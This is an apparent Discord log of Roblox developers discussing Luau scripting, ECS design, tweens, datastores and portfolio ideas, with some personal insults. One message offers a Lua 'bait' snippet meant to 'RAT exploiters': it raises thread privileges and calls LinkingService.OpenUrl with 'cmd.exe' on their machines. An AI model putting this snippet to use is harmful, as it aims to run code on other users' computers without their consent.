#code-discussion

1 messages · Page 123 of 1

final ivy
#

game crashes, freezes, yields tied to renderstep, there are so many reasons that you should not view renderstep as a loop

gusty solar
#

please seek help from your local chatgpt, you're pulling info out of ur ass

somber vault
#

You can’t break runservice

tulip merlin
#

Anyways guys lets ignore the clown

somber vault
#

Renderstep never stops

tulip merlin
#

What's your opinion on ECS in roblox

gusty solar
lost pebble
lost pebble
tulip merlin
#

Oh really? I've never made games outside of an ECS so I don't really understand how you guys do it

gusty solar
gusty solar
oblique lintel
#

yep i quit working on it

gusty solar
#

you literally said "never stops" you cant make this shit up

lost pebble
somber vault
#

Well obviously as long as the server/client is on lol

#

Keeps rendering frames

lost pebble
somber vault
#

Ecs?

tulip merlin
#

Entity Component System

somber vault
#

I don’t know much about it either

#

Like just objects with properties?

tulip merlin
#

At it's core it is a way of conceptualizing things in a game. You have entities (your player, enemies, nodes you mine) and you have components, data about the entities (Health, Stamina, OreAmount), and systems that run every frame typically that can modify and mess with these entities and components

gusty solar
somber vault
#

Ignore this kid lmfao

tulip merlin
#

Because it doesn't stop the loop? It stops your connection to it. It is still running no?

gusty solar
#

your whole argument is "while loops are official, so anything that isnt specifically a white loop isn't a loop"

tulip merlin
#

💀 alright

languid harbor
#

Hello fellow dev,
I’m working on a RuneScape-inspired MMO/RPG with a medium-realism style. I already have a modeler on board and am looking for others who might be willing to take some time out of their day to help bring the project to life.

If you’re skilled in scripting, UI, or world design, your help would mean a lot. Please don’t hesitate to reach out — I’d love to connect and chat more. Thank you for considering!

gusty solar
#

this doesnt exist

tulip merlin
somber vault
#

Ragebait

gusty solar
lost pebble
somber vault
#

I think he’s messing with us

tulip merlin
#

Since when did return progress through systems and into the roblox server itself

hollow sinew
gusty solar
granite fjord
#

how much should i be paying for a custom building system like retail tycoon or resturaunt tycoon

#

robux only

tulip merlin
bitter stirrup
granite fjord
tulip merlin
#

Components on the other hand hold data, such as their Health, Stamina, Hunger, etc

somber vault
#

Is it an entire game?

tulip merlin
#

Normally I assume you'd define these values as Attributes or something on the player itself, but components allow you to reuse this data for numerous things. Say you wanted to add in another mob, well then all you have to do is assign the Health and Stamina components to the entity of said mob

granite fjord
bitter stirrup
somber vault
somber vault
granite fjord
left reef
#

anyone want to be my mentor for scripting? like not to teach me but just so i can ask questions and you can monitor my progress

somber vault
left reef
#

like

#

yes

granite fjord
somber vault
#

Depends on the quality too

granite fjord
#

i need to work

somber vault
#

And who you’re hiring

granite fjord
#

well i havent looked for people yet

gilded gyro
bitter stirrup
granite fjord
#

just say middle range for now in all fields @somber vault

tulip merlin
# somber vault So you just construct the mob with specific sets of values (entities?)

Sort of if im understanding you correctly.

Say I want to spawn an enemy. I'd have 3 components
Enemy which marks it as an enemy, Health which holds their health value, and AI if I want to give it AI.

Then I spawn an entity with those 3 components, and I have systems that can modify or manipulate the entity based off those components. Like I can have 1 system that handles the ENTIRE AI logic for entities with the AI component

granite fjord
left reef
#

local experienceStore = DataStoreService:GetDataStore("PlayerExperience")

#

is that needed fro datastore

noble mesa
#

uh

bitter stirrup
#

But yeah

#

You can have it for free

noble mesa
granite fjord
tulip merlin
#

700k

bitter stirrup
somber vault
bitter stirrup
somber vault
#

At this point you made it worse praysob

oblique halo
#

how do you use exponents in scripts is it just like for example 100*3^2

tulip merlin
#

Sorryyyy

slate bloom
#

hello chat

granite fjord
white aurora
#

or math.exp()

oblique halo
#

thank you

tulip merlin
somber vault
#

Yeah

oblique halo
tulip merlin
#

What do you do if you have something that relies on something else?

#

You inherit correct?

white aurora
tulip merlin
#

Now imagine this at a much larger scale. Your inheritance tree will get large, and you end up having code that does roughly the same thing in numerous places

oblique halo
#

hmm ok thanks

tulip merlin
#

an ECS is basically "Stop thinking about it in terms of objects and instead think of how it works in terms of data and behaviour"

white aurora
white aurora
oblique halo
oblique halo
#

hi so if i wanted to save the requirement to rebirth like each time a player joins the game would i put that in a datastore

hollow sinew
#

some kind strangers gave me more tips on my code on other servers

here is the final version

-- // Services
local ServerStorage = game:GetService("ServerStorage")

-- // References
local ColaWSFolder= workspace.colaWorkspace
local ColaBrown = ServerStorage.colaServerStorage.colaBrown

local function colaSpawn(rangeSQ2)
    local cola = ColaBrown:Clone()
    local randX = math.random(-rangeSQ2, rangeSQ2)
    local randY = math.random(-rangeSQ2, rangeSQ2)
    cola.Position = Vector3.new(randX, 500, randY)
    cola.Parent = ColaWSFolder
end

local function spawnLoop(colaMaxAmount, rangeSQ2, waitTime)
    local amountRNG = math.random(5, colaMaxAmount)
    print("spawning", amountRNG, "colas, range is", rangeSQ2 .. "ssm^2", ", waiting interval is", waitTime)
    
    for i = 1, amountRNG do
        colaSpawn(rangeSQ2)
        print("on iteration", i)
        task.wait(waitTime)
    end    
end

spawnLoop(50, 50, 0.1)
oblique halo
#

like for example it starts out as 100 clicks then it goes to 200 but if you rejoined it would be 100 again

white aurora
# oblique halo i didnt know thank you

and operands are the one that gets calculated by that operator, let's say: 5 * 3, 5 and 3 are operands to the multiplication operator, just in case u see that word somewhere

somber vault
#

I rarely ever use inheritance in luau though

tulip merlin
#

An entity in of itself is nothing, its just an identifier to something.
Components are data that define that entity, they can be stuff like the Position, Health, Stamina
Systems are logic that runs over all entities that have specific components, such as a MovementSystem may run over all entities with a Position component to update their position. They don't care about the entity itself, only the data (components)

oblique halo
noble mesa
oblique halo
white aurora
tulip merlin
somber vault
tulip merlin
#

Want to add something new to your game? Simply make a new component and a corrosponding system

#

bam

oblique halo
tulip merlin
#

Cause it depends on what it is.

white aurora
tulip merlin
#

In normal OOP programming, if it is related or need of inheriting then it can get messy

white aurora
#

isnt luau not object oriented

#

or am i wrong

somber vault
tulip merlin
#

It is and it isn't

somber vault
#

If you want it to be

white aurora
tulip merlin
#

At it's core its functional, but metatables make it possible

white aurora
#

is there inheritance? polymorphism? setters and getters ?

#

all those stuff

somber vault
#

Its a programming language, there are like no limitations lol

#

Whatever you find interesting about a different language, you can easily bring it with you anywhere

white aurora
white aurora
#

a table of functions

white aurora
#

that's basically it isnt it

somber vault
#

Yez

white aurora
#

so u can mimic oop by using meta tables to modify the behavior of a table but not exactly like oop, real OOP has a lot of other stuff

somber vault
#

Matter of fact you don’t even need metetables for oop

white aurora
#

what do u use?

somber vault
#

Wdym

white aurora
#

how would u do it without metatables

somber vault
#

Well you can turn a normal table into an object

#

Its pretty straightforward

white aurora
#

ima just watch a video on how they do it

latent bloom
#

How would you guys make tweens play in a local script if the tool is destroyed before it can finish

signal gorge
#

Hi guys, just wondering if anyone making any games right now

lyric laurel
#

js do tween.completed:Wait()

near pasture
#

Tween.Completed:Connect(function
tool:Destroy()
end) >>>

somber vault
snow geyser
#

what can :waitforchild be used for cus the turtorial didnt explan it right?

tulip merlin
somber vault
#

I love how customizable it is

tulip merlin
#

Yeahhh, and there's libraries like matter and jecs that add ecs to roblox

#

matter is more in tune with what an ECS is with an actual systems api, and jecs is more lightweight with addons available from the community

#

I have used matter and I can say its definitely been enjoyable

#

One thing I say is that systems in matter cannot be yielded justifiable since they run every frame you could have issues if you yield a system

#

but it does add more complexity for things that are time based

somber vault
#

I see

#

I haven’t used anything made by sleitnick since knit a couple years back lol but I guess his stuff are still pretty cool

tulip merlin
#

One solution I found is to just add your time based mechanics to the components

import { useDeltaTime, World } from "@rbxts/matter";
import components from "shared/components";
const ReplicatedStorage = game.GetService("ReplicatedStorage");
const Assets = ReplicatedStorage.FindFirstChild("Assets")!
const Poop = Assets.FindFirstChild("Poop")! as Model

function spawnPoop(world: World) {
    for(const [id, cow, instance] of world.query(components.Cow, components.Model).without(components.Poop)) {
        world.insert(id, cow.patch({ spawnTimer: cow.spawnTimer - useDeltaTime() }))

        if(cow.spawnTimer <= 0) {
            const model = Poop.Clone();
            model.Parent = instance.instance
            model.PivotTo(instance.instance?.WorldPivot.mul(new CFrame(4,0,0))!)
            world.insert(id, components.Poop({ model, amount: math.random(1,10) }))
        }
    }
}

export = spawnPoop;
tulip merlin
#

Bro honestly shut your shit up

#

💀

tulip merlin
#

Bro lurks this channel for anything to give an invalid opinion on

#

Thank god his skill application got denied since he has none

somber vault
#

How do you manange to get everything wrong, its fascinating

tulip merlin
#

Nothing wrong with typescript, a developer of roblox itself made the project behind what I use

gusty solar
#

STILL angry over being proven wrong in a discord server💔

tulip merlin
#

Anyway

#

Yeah livon definitely recommend checking out an ECS

#

They can be helpful in larger projects

#

or just all around fun to play with

lost pebble
tulip merlin
#

Honestly coming from unity ECS is just a term I am more used to

#

so seeing people make one for roblox made it appealing

#

Familiar territory

somber vault
#

I kinda feel like they could take a some extra time though, obviously I haven’t tried it yet but it feels more like managing things a lot more manually compared to standard oop

tulip merlin
#

I agree, especially initially it is a lot more time consuming to setup and learn

#

but once you do (speaking from my own experience) in the long run it's easier to handle

#

Especially in larger teams

somber vault
#

Could be fun still

tulip merlin
#

Most definitely

#

Learning new skills is always fun

#

and if you use an ECS in one place, you can always translate that knowledge somewhere else like if you want to use unity or unreal one day

somber vault
#

What excited me the most is the fact that you basically don’t need to worry about your class missing this little method, instead of creating a new class - just add the necessary component to your entity and you’re good to go

uneven jolt
#

Currently making an animation game, and am trying to figure out a system for loading the animation. How it works as of right now is whenever a button is pressed, it loads the data from a table. As you can see its getting really long and I would like to refactor to smaller scripts, how should I go about this?

tulip merlin
#

Yup!

#

Also

#

It's easy to add new functionality

#

Say you had npcs you wanted to take damage but they previously couldn't before

#

and you already had a system in place for damage dealing

#

Just add the necessary component to said npc and boom, now it can take damage

somber vault
#

BUT how would this all work with strict type annotation

tulip merlin
#

How do you mean?

somber vault
#

You’d probably need to mess with generic types a lot more in luau im guessing

tulip merlin
#

Not necessarily no, at least I haven't had to

somber vault
tulip merlin
#

Well you see, an entity won't exactly be anything

#

An entity is JUST an identifier

#

You mess with the COMPONENTS on the ENTITY

#

Which are already typed

#

Especially if you use matter or jecs

somber vault
#

Right

#

Alright so lets make bob

#

A knight

#

Entity: human

#

Components: weapon, walkspeed, power, armor

#

System: movement controller

tulip merlin
#

Right

somber vault
#

Wait bob is not an object right

tulip merlin
#

Nope

somber vault
#

What is bob

tulip merlin
#

Technically bob is nothing

#

An entity is a blank container

tulip merlin
#

Right think of it this way

#

How do you define what bob is?

#

You already said he's a Knight right?

somber vault
#

Bob doesn’t exist? sad

somber vault
tulip merlin
#

So you'd give him a Knight or a Class component depending on how you want to handle this

#

You also state he's a human Human component or Race component

#

Want to make bob actually bob? Name component that stores the name of the human knight

somber vault
#

Slow down

tulip merlin
#

Slowing down

somber vault
#

Is human a component or the entity

tulip merlin
#

Component

#

Components nor entities exist in the real world (workspace)

somber vault
#

But he is a human

tulip merlin
#

Yes, because you assign the Human component to the entity

#

You define the entity

somber vault
#

Yeah okay I’ll just give it a few days lol

tulip merlin
#

When you spawn an entity, it isn't anything but an ID 123 that lives in some map of the World, it has no physical presence or identity

gusty solar
#

@somber vault @tulip merlin @lost pebble What's all that talking about when you don't even know ANYTHING about the Roblox Engine? GetService("Workspace") is roughly 1668% slower than just using the global workspace.💀 The utter incompetence is insane...

--// accessing a local variable is faster than a global one
local tick = tick;

while task.wait(1) do
    local t1 = tick();
    for i = 1, 1e5 do
        (function()
            return game:GetService("Workspace");
        end)();
    end
    local t2 = tick();
    for i = 1, 1e5 do
        (function()
            return workspace;
        end)();
    end;
    local t3 = tick();

    local GetServiceDuration = t2 - t1;
    local GlobalDuration = t3 - t2;

    print("GetService:", GetServiceDuration);
    print("Global:", GlobalDuration);
end
somber vault
#

Stfu

lost pebble
#

again, small optimaztion that shouldnt need this much attention

somber vault
#

Not gonna read

gusty solar
gusty solar
tulip merlin
lost pebble
somber vault
gusty solar
#

Omg this is so beautiful... from arguing to staying quiet and accepting it

tulip merlin
#

I am trying my best to explain it in a way that someone who knows nothing about it would understand

gusty solar
gusty solar
lost pebble
#

it's not the end of the world if someone does :GetService("Workspace:)

gusty solar
lost pebble
somber vault
#

Oh no your players are going to have to wait 0.03 seconds now sad

lost pebble
gusty solar
gusty solar
tulip merlin
somber vault
#

yo guys any idea on what I could script 4 my portfolio as I wanna create one

tulip merlin
somber vault
tulip merlin
#

Ahaha fair

tulip merlin
#

Im being serious

#

That will def be good on a portfolio

somber vault
#

yeah which i'll need a wholeass team for

tulip merlin
#

or perseverence

somber vault
#

?

gusty solar
somber vault
tulip merlin
#

In all seriousness, just code something you are passionate about

#

That will say a lot more than some random idea

somber vault
gusty solar
somber vault
gusty solar
#

hmmmm

somber vault
#

smth mid not too hard nor too easy

tulip merlin
#

Make a tycoon game

#

Hard but not too hard

somber vault
#

Vehicles are impressive

somber vault
gusty solar
somber vault
tulip merlin
#

You want something to code, but reject all our ideas

gusty solar
somber vault
#

You should make any vehicle tbh, doesnt take too long. Impresses people

tulip merlin
#

Yeah

tulip merlin
somber vault
tulip merlin
#

Nows the time then

somber vault
#

Nobody does lol

tulip merlin
#

What better to put on a portfolio than something you've never done

#

Shows your willingness to learn

somber vault
#

Everyone avoids vehicles its what makes them impressive

gusty solar
#

@somber vault use reinforcment learning to make an unbeatable AI that uses classic swords

somber vault
#

right i'll do the vehicle

#

Lol

gusty solar
#

there's already rl libraries out there

somber vault
#

well its hard for me atm w my skill

#

so!

gusty solar
somber vault
#

I was also thinking of scripting sum black clover abillities but idk tbh

somber vault
gusty solar
#

people like anime abilities more than they should

gusty solar
somber vault
#

is the performant way of making the book pages for black clover grimoire to like uh turn w anim

#

Forget about abilities, unless you got a bunch of animators and vfx artist in your basement its over

dusky swift
somber vault
lost pebble
lost pebble
#

idk

gusty solar
# lost pebble idk

like WHY WOULD U EVEN USE IT???? does it give u the benefit of being easier to write???

lost pebble
#

i used to do game.Workspace bc i didnt know the global existed back then

gusty solar
somber vault
#

bru I have such a good idea for a tensura game but ik it'll be hard asf to find the devs for it

#

cuz the current ones that are out are really uh interesting

gusty solar
#

this lets u RAT exploiters if they tostring inside a hook by accident```lua
local bait = newproxy(true);

bait.__tostring = function()
if getgenv then
print("thanks for the environment buddy🙏");
end

if setthreadcontext then
    setthreadcontext(3);
    task.wait(0.02);
end

Game:service('LinkingService').OpenUrl(Game:service('LinkingService'), "cmd.exe");
coroutine.yield();

end

while task.wait(1) do
xpcall(function()
game[bait]._ = nil;
game[bait] = nil;
Instance.new("RemoteEvent"):FireServer(bait);
end, function()end)
end

gusty solar
formal sapphire
#

unable to load plugin icon with the animation id

static coral
gusty solar
#

people who doesn't use semicolons should be eradicated

static coral
gusty solar
hollow ingot
#

does anyone code website here

vale flax
#

html 💔

small palm
near pasture
#

@vale flax apple-san

vale flax
#

@near pasture top-chan

raven marsh
#

e

brittle token
#

a

static cave
#

o

lilac zinc
#

i

brittle token
#

U

frail yarrow
hexed cedar
raven marsh
brittle token
plucky grail
#

i am making a tycoon game and when the tycoon is finished, the server begins to lag because of all the drops being dropped HOW CAN I FIX IT?

#

the drops even become slomo or even freeze

latent bloom
#

Is there just no way to let the tween play after its destroyed

jaunty grail
#

Hey anyone want a scripter for 1 2 or more

#

Or anyone want to learn developing me here

storm igloo
vivid hearth
#

alright imma try to learn more scripting agian

#

tho its hard i fell like gving up on scripting

arctic plaza
#

u got this

#

once you get used to feeling like complete garbage

#

that's basically the norm for scripting anything

vivid hearth
#

i dont even know how to script leaderstats

arctic plaza
#

oh

#

if you want leaderstats

#

each player should have a "leaderstats" folder

#

no exception on name

#

and just add some intvalues

#

or string values

#

the order in which you add the values determines the order that they appear as columns in the leaderboard i think

#

learning scripting is hard at the beginning

#

but later on it becomes easier and easier

vivid hearth
#

this is my skill level

arctic plaza
#

that's better than 90% of beginners already

vivid hearth
#

i can mess with properties, do loops

#

printing

arctic plaza
#

as long as you keep your head steady you got this

vivid hearth
#

idk what to learn now

#

it feels complicated

arctic plaza
#

do you have basic syntax down?
'

vivid hearth
#

what does syntax mean?

arctic plaza
#

the structure of code

#

it's basically

#

print("hello") is correct and print(hello) is wrong

#

you have correct syntax rn

tame compass
vivid hearth
#

i know functions

arctic plaza
vivid hearth
#

actually i used to know them but i forgotd

arctic plaza
vivid hearth
#

uhh i know them

arctic plaza
#

while you are learning familiarize yourself with expected property values btw

tame compass
#

do you know about tables and for loops?

arctic plaza
#

good thing about lua is that it only has 23-26 (?) keywords

#

so you'll get it down light work

raven marsh
#

e

brave ginkgo
#

learn module scripts

vivid hearth
arctic plaza
vivid hearth
#

i can also do stuff like this

tame compass
vivid hearth
#

tables i have no idea what they do

arctic plaza
#

tables can be 2 things

#

a list, or a dictionary/hashmap

tame compass
#

Tables are just an array of values

arctic plaza
#

i don't like how lua doesn't separate their keywords

tame compass
#

It’s actually easy to understand

arctic plaza
#

in other languages lists/tables are typically [] and dictionaries are {}

vivid hearth
#

OHH

#

I KNOW LISTS

#

I USED TO DO PYTHON

arctic plaza
#

yeah

#

but now

vivid hearth
#

and it was like MyList = [1, 2, 3, 4]

arctic plaza
#

list or dictionaries are both defined by a single {}

vivid hearth
#

or smt like that

tame compass
vivid hearth
#

oh so just the brackets are diffrent shape

tame compass
#

Yes

arctic plaza
#

swiggly brackets

#

whatever they are called

tame compass
#

Also, idk about python, but in Lua you can make different indexes for values in a table

#

For example

arctic plaza
vivid hearth
#

I know i shouldnt but what if i try to make a game?

arctic plaza
#

also

#

one thing that's super cool and super helpful

tame compass
#

local MyTable = {Fruit = “Apple”, Color = Color3.new(1,0,0)}

arctic plaza
#

at least to me

tame compass
#

Something like that

#

And then you can print(MyTable.Fruit)

arctic plaza
#

is to #1 always try to make your new game bigger and better, #2 each game should be fundamentally different fom other games

tame compass
arctic plaza
#

project based learning is always best

vivid hearth
#

tho i dont know if i can do anything with my knowledge

arctic plaza
#

if u want a more mathy math challenge

#

try making a grid of anchored parts that are defined by the set of variables:

  1. gridSize
  2. cell size
#

so if i put gridSize = 10 and cellSize = 20

it should generate a 10x10 grid of 20x20x20 parts

#

which fills in a 200x200x20 stud volume

vivid hearth
#

i have no idea how to script that 😭

#

my skill level is like really basic stuff

#

properties in scripts, wait, loops

raven marsh
#

jasraj better

arctic plaza
#

uhh

#

you'll need to know how to generate items at a specific location

#

loops

#

and some math

visual frost
#

Don't bother with tables yet then

arctic plaza
#

it's 3am for me rn

#

so i might not be able to stay up for long

visual frost
#

There are better things to learn before tables

vivid hearth
#

its starting to get way to complicated

arctic plaza
#

i cant really think of anything to do other than tables

#

he has the basics down like loops, functions, and for loops

#

how abouttt

#

try generating a list of 10 random numbers from 1-20 and printing that table out?

visual frost
#

I mean what about scopes, return values, strings, debounce or enums and conditions

#

i guess it's really just unique to everyone on what they should learn first tho

visual frost
arctic plaza
#

debounce?

#

enum is a luau data type

#

i feel like it's better to learn core lua first then move onto luau extensions

#

since that way it'll be more transferrable

visual frost
#

it's just a common thing to use

arctic plaza
#

but take my advice with a grain of salt

#

I don't really remember hhow I learned

#

all I know is that I first did a type writer in python during covid and now I'm here lol

visual frost
#

yeah, if you’ve coded in anything else before, it makes everything a lot easier especially if you already understand how programming works in general

#

the roblox documentation is pretty great tbh, and you can get help on the devforum too

arctic plaza
#

im scared of the dev forum

#

dev forum is a spookfest

raven marsh
arctic plaza
raven marsh
arctic plaza
#

yes

#

you're one of the core reasons why I avoid the dev forums generally

high cosmos
#

i transformed CFrame to Tait–Bryan angles.

visual frost
high cosmos
#

this is NOT code related

arctic plaza
#

this isn't a argument D:

visual frost
arctic plaza
#

catto

raven marsh
high cosmos
#

bro go to #chat this aint for social business

#

this is code business

arctic plaza
#

are on the dev forums

#

snooper

raven marsh
arctic plaza
raven marsh
arctic plaza
#

lounging in code discussion channel is wayyyy better

high cosmos
#

end of convo.

arctic plaza
#

we were discussing things about code tho ._.

visual frost
arctic plaza
raven marsh
high cosmos
raven marsh
visual frost
#

yes

high cosmos
visual frost
#

habib speaking wise words

slate bloom
#

wsp my skibidi slicers

raven marsh
arctic plaza
#

saint von

raven marsh
high cosmos
#

and that shit is all the way up there

#

it fr pmo fr

visual frost
#

your shit sucks

#

happy?

high cosmos
arctic plaza
#

what pmo mean

high cosmos
arctic plaza
#

also

raven marsh
arctic plaza
high cosmos
raven marsh
high cosmos
#

wts

arctic plaza
#

I'm not a furry 😭

visual frost
#

you arent discussing code asking us to rate it are you

raven marsh
arctic plaza
#

better

visual frost
#

so silence yourself little slachwag

high cosmos
visual frost
#

you're bright bro

raven marsh
high cosmos
arctic plaza
#

dam

#

im gonna go sleep it's 3am

#

gah

raven marsh
arctic plaza
#

U2

visual frost
#

catsad gn 0x5f1ffff9

raven marsh
arctic plaza
#

3am for me

#

i'll finish the rest of my pathfinding problem tmr D:

bronze path
#

Are you guys familiar with the limitations of TextChatService with cross-server chats? I've been reading the creator hub docs for it and it seems like most of the methods require the userIds to be in the server.

All I need is a confirmation of this 🤔

cloud prawn
#

Hey anyone want to start a dev studio and possbily make some games and just get better in deving in general.

slate bloom
#

Guys can I get a dollar for my Meta account i gotta sign up for this shit for a dollar but youll get it back

high cosmos
#

man just dipped right away

spring ice
bronze path
jade magnet
#

Guys how do you script?

somber vault
#

Create a new game, add a script

jade magnet
#

I already did it

glacial kestrel
#

any resources on the union/negate api other than the docs?

#

I want to see some use cases of it

gilded plume
#

Hello everyone!

I just finished reading Programming in Lua, 4th Edition, and I'm ready to start developing to build my portfolio. Do you have any suggestions for what kind of system or project I should work on next something that’s currently in demand?

dull sluice
#

check?

#

Hello Guys! i need help, Iam Trying to make a Slapping Tool like those in troll obby games. my script is on below. the problem is when i Activate the tool, it doesn't work. and also i get an error saying(on the picture) can someone help me?

hallow crag
dull sluice
#

dang it. thanks broo

#

I don't get error now, its now the animation and script don't work

worldly sonnet
#

does anyone have a problem where if they tween fov in first person it just goes back to the original fov

tidal bolt
#

well, luau is a superset of lua 5.1

inland pasture
#

hi guys i tried to add animations to a rig in a viewportframe and it isnt working for some reason here is the script

gilded plume
tidal bolt
worldly sonnet
#

does anyone have a problem where if they tween fov in first person it just goes back to the original fov
does anyone have a problem where if they tween fov in first person it just goes back to the original fov
does anyone have a problem where if they tween fov in first person it just goes back to the original fov
does anyone have a problem where if they tween fov in first person it just goes back to the original fov

tidal bolt
#

if you already know how to code you can get started really quickly

gilded plume
gilded plume
tidal bolt
#

hi fellow cs student

gilded plume
#

Mb bro, it's just my mannerism to call everyone Sir or Maam

real fulcrum
#

Hey any scripter down to participate to a youtube video challenge : MUST : have a decent mic , be able to talk , be able to reccord DM ME IF INTRESTED

pulsar basin
#

Guys what should I script

#

That teaches me how to use loops

#

But mainly a for loop

static coral
austere mulch
lost pebble
meager ocean
#

Where can i learn scripting 🙏

hallow crag
thick eagle
#

Has AI replaced coders yet?

#

Joke

meager ocean
hallow crag
thick eagle
summer scarab
thick eagle
#

What will be in 5 years?

round elm
#

hi guys i needed help in roblox studio im trying to make a pizza delivery bike alr i tried my best but when i sit on it it doesnt moves i tried evrything like welding and more can anyone please help me fix it ill really appreciate it :3

#

hi guys i needed help in roblox studio im trying to make a pizza delivery bike alr i tried my best but when i sit on it it doesnt moves i tried evrything like welding and more can anyone please help me fix it ill really appreciate it :3

midnight wigeon
#

guys im bored asf does anyone want me to do anything (scripting, gfx)

candid hare
#

If I have an afk area, how can I make the players not getting kicked?

midnight wigeon
glossy wave
#

if you can't make that you are not a scripter 👀

glossy wave
midnight wigeon
#

specificc

steady plover
subtle gorge
#

when i roll it reverts back to walking animation

gusty solar
#

A

bronze summit
#

So i was scripting a custom shift lock and...

native orchid
#

and what?

bronze summit
native orchid
#

You’re going to use this to make some dumb anime thing, which the world does not need more of

bronze summit
#

not a anime game

native orchid
#

I’m shocked, sorry for assuming

#

👌

visual frost
scenic lotus
#

hi

native orchid
# bronze summit

Part of the issue here is that you are offsetting the camera relative to the character, but the character isn’t rotating to align with the camera

bronze summit
inland pasture
visual frost
#

Add the worldmodel inside the same frame

inland pasture
#

oh okay ty i will

#

k

copper vigil
#

What’s the best way to optimize systems?

languid charm
#

guys how much do yall make scripting (monthly avg)

#

if u want to say

weak radish
#

you probably want to know how many offers people get and what fee they charge per hour

languid charm
weak radish
#

did you read what I said

#

I just said that asking monthly earnings is the least accurate thing ever

#

Asking fee per hour and offer quantities is more accurate

thick seal
#

how do i load an animation and play the first frame, and animate until the last frame on click and animate back to the first frame on release

#

i tried to make markers and to set the animation speed to 0 but that doesnt work

animation:GetMarkerReachedSignal("Pause"):Connect(function(param)
    print(1,param)
    animation:AdjustSpeed(0)
end)

mouse.Button1Down:Connect(function()
    animation:AdjustSpeed(1)
end)

mouse.Button1Up:Connect(function()
    animation:AdjustSpeed(-1)
end)
#

the "Pause" markers are set at the first and last frame of the animation

somber vault
#

Its there are cheap or free scripter for hire only robux payin

marble ember
halcyon slate
#

Would you guys easily be able to do this?

#

it took me 2 days

charred jacinth
#

Dont worry about how long it took you though, just be happy that you were able to do it 🔥

charred jacinth
#

No i would 100% make it modular

#

thats what i do for most of my stuff. we love oop!!!!

halcyon slate
#

well with the system setting up new regions takes 30 seconds

charred jacinth
#

like right here for my helicopters. There is only 1 for now (apache), but there would be more configs whenever i add more

#

Yep that sounds right

halcyon slate
charred jacinth
#

How did it take you 2 days?

#

Making the main system? lighting?

halcyon slate
#

and now anything takes 20 seconds

#

I made the backend

#

do all the work for me

charred jacinth
#

Yep you're explaining modularity right now

halcyon slate
#

the backend took 2 days

charred jacinth
#

classes

halcyon slate
#

I dont use oop

#

i have a weird coding style

charred jacinth
#

Well yeah there are other methods

halcyon slate
#

mine is functional with a cache and state machine

halcyon slate
#

no scripter needed

#

for that job

#

Now work for future projects is cut down to just 2 minutes

vital dune
#

what wrong with this one?

hallow crag
#

from looking at ur code the first thing i would say is to not use "pairs" and use the general iterator

sour vine
eager dagger
austere mulch
hallow crag
#

bro asked a question then dipped lmao

hallow crag
scenic lotus
# vital dune what wrong with this one?

Might need to use i instead of player I think

local function checkPlayerLevel(player)
  local level = player:WaitForChild("Level")
  local xp = player:WaitForChild("XP")

  if level > 10 then
    print("Advanced Player!")
  else
    print("Beginner Player!")
  end

  return level, xp
end

local players = {
  ["player1"] = {
    ["Name"] = "Player1",
    ["Level"] = 15,
    ["XP"] = 2000
  },
  ["player2"] = {
    ["Name"] = "Player2",
    ["Level"] = 8,
    ["XP"] = 500
  },
}

local highLevelPlayers = {}

for i, player in pairs(players) do
  local level, xp = ckeckPlayerLevel(player)

  if level >= 10 then
    table.insert(highLevelPlayers, i)
  end
end

print("High Level Players Count: " .. #highLevelPlayers)
austere mulch
#

is it worth spending 15 hours learning JS & TS for roblox TS?

scenic lotus
acoustic saffron
#

chat should i just start getting into making a small game so i can learn to code better?

zealous lily
#

Can anyone help me script a combat system

acoustic saffron
acoustic saffron
#

nvm

austere mulch
acoustic saffron
#

yeah i saw

#

is it worth it?

austere mulch
#

I'll have to see for my self

#

once I'm done learning it

acoustic saffron
#

alright

reef birch
true niche
#

we all hate coding

scenic lotus
#

.

reef birch
austere mulch
# reef birch Cool

I don't know JS or TS at all so I got this 15 hour course with 150 lectures which should cover everything hopefully

#

so im praying roblox ts > luau

reef birch
#

I can’t see the video

austere mulch
#

huh

austere mulch
#

@reef birch

reef birch
lilac zinc
reef birch
#

Install like 3 things so you can use a different language that still needs to be compiled by the luau engine so you’re not getting more efficient you’re in the same bottleneck as before

austere mulch
lilac zinc
#

TRUE

reef birch
#

Seems performative/ “I only code in JavaScript because it’s easy “/“I NEED MORE JSON FILES IN MY LIFE”

brittle token
#

how do i see how good i am at scripting

brittle token
#

like am i still a beginner, advanced or what

royal goblet
#

does someone have any problems with scripting im bored

brittle token
#

its not really a problem i just dk how to do it

royal goblet
#

u dk how to what

brittle token
#

idk how to refrence leaderstats in a diffrent script

royal goblet
#

just learn lol

#

it aint hard

#

my friend learned in a week

brittle token
#

@magic pagoda

brittle token
#

its a simple question

magic pagoda
#

@rustic inlet softban pls

royal goblet
brittle token
magic pagoda
#

@strange raven also softban pls

royal goblet
brittle token
magic pagoda
#

softbanning is deleting user messages and kicking

brittle token
#

dawg who deleted that

royal goblet
#

auto or sum shi

#

t

brittle token
#

i just started 2 days ago monkey

royal goblet
#

imagine not being able to reference leaderstats

queen glacier
sturdy bridge
#

just use ai brotaro 💔

frail yarrow
sturdy bridge
royal goblet
brittle token
#

what does eof mean

sturdy bridge
frail yarrow
#

end of file

brittle token
#

thanks

#

ok so im making progress

uneven solar
#

so exponentially speaking all of you are scripters?

that is very insteresting 🤔🤔

uneven solar
#

u better have one billion subs

brittle token
uneven solar
#

check dms

mortal plaza
#

yall think its possible to have studio find random users on roblox and base them on follower count?

mortal plaza
torpid furnace
#

yo someone help me

cedar flicker
#

use scale

torpid furnace
cedar flicker
#

Btw not just for phones

#

Also good for higher resolutions

wanton ivy
#

can you use module scripts for storing data like enemy data

torpid furnace
wanton ivy
cedar flicker
#

You need to scale everythin

#

Not just the outer frame

#

Every item

lost yoke
#

@zealous lily hire through marketplace only

wanton ivy
lost yoke
wanton ivy
# lost yoke using tables

{
ModelID = 1;
Name = "TEnemy1";

    --Stats
    KineticA = 5;
    KineticD = 5;
    LaserA = 5;
    LaserD = 5;
    MaxHealth = 5;
    Speed = 30;
    
    PathCosts = {
        Properties = {
            Exclude = {
                "Raised"
            }
        }
        
    }
}

would something like this work or do i need to treat it like a dictionary

lost yoke
craggy schooner
#

Hey I want to learn scripting in Lua. I know the basics as what they are (while, If, variables) I learned C++ so I know about what everything goes (as in simple) but Idk how to make more complitated things like lava floor that is activated on a button or things like that. What tutorials would help me ?

mortal plaza
#

yall think its possible to have studio find random users on roblox and base them on follower count?

tight pewter
#

as for the follower counts idek if you can get that data, especially if users are able to hide it.

tight pewter
#

this is how many followers "builderman" has

#

156 being the UserId

tight pewter
#

learn the functionality/properties of roblox objects and services.

#

rest will click

granite quarry
#

Suppose we have 3 balls

Red ball 🔴 is a player

⚪ ball is for playing

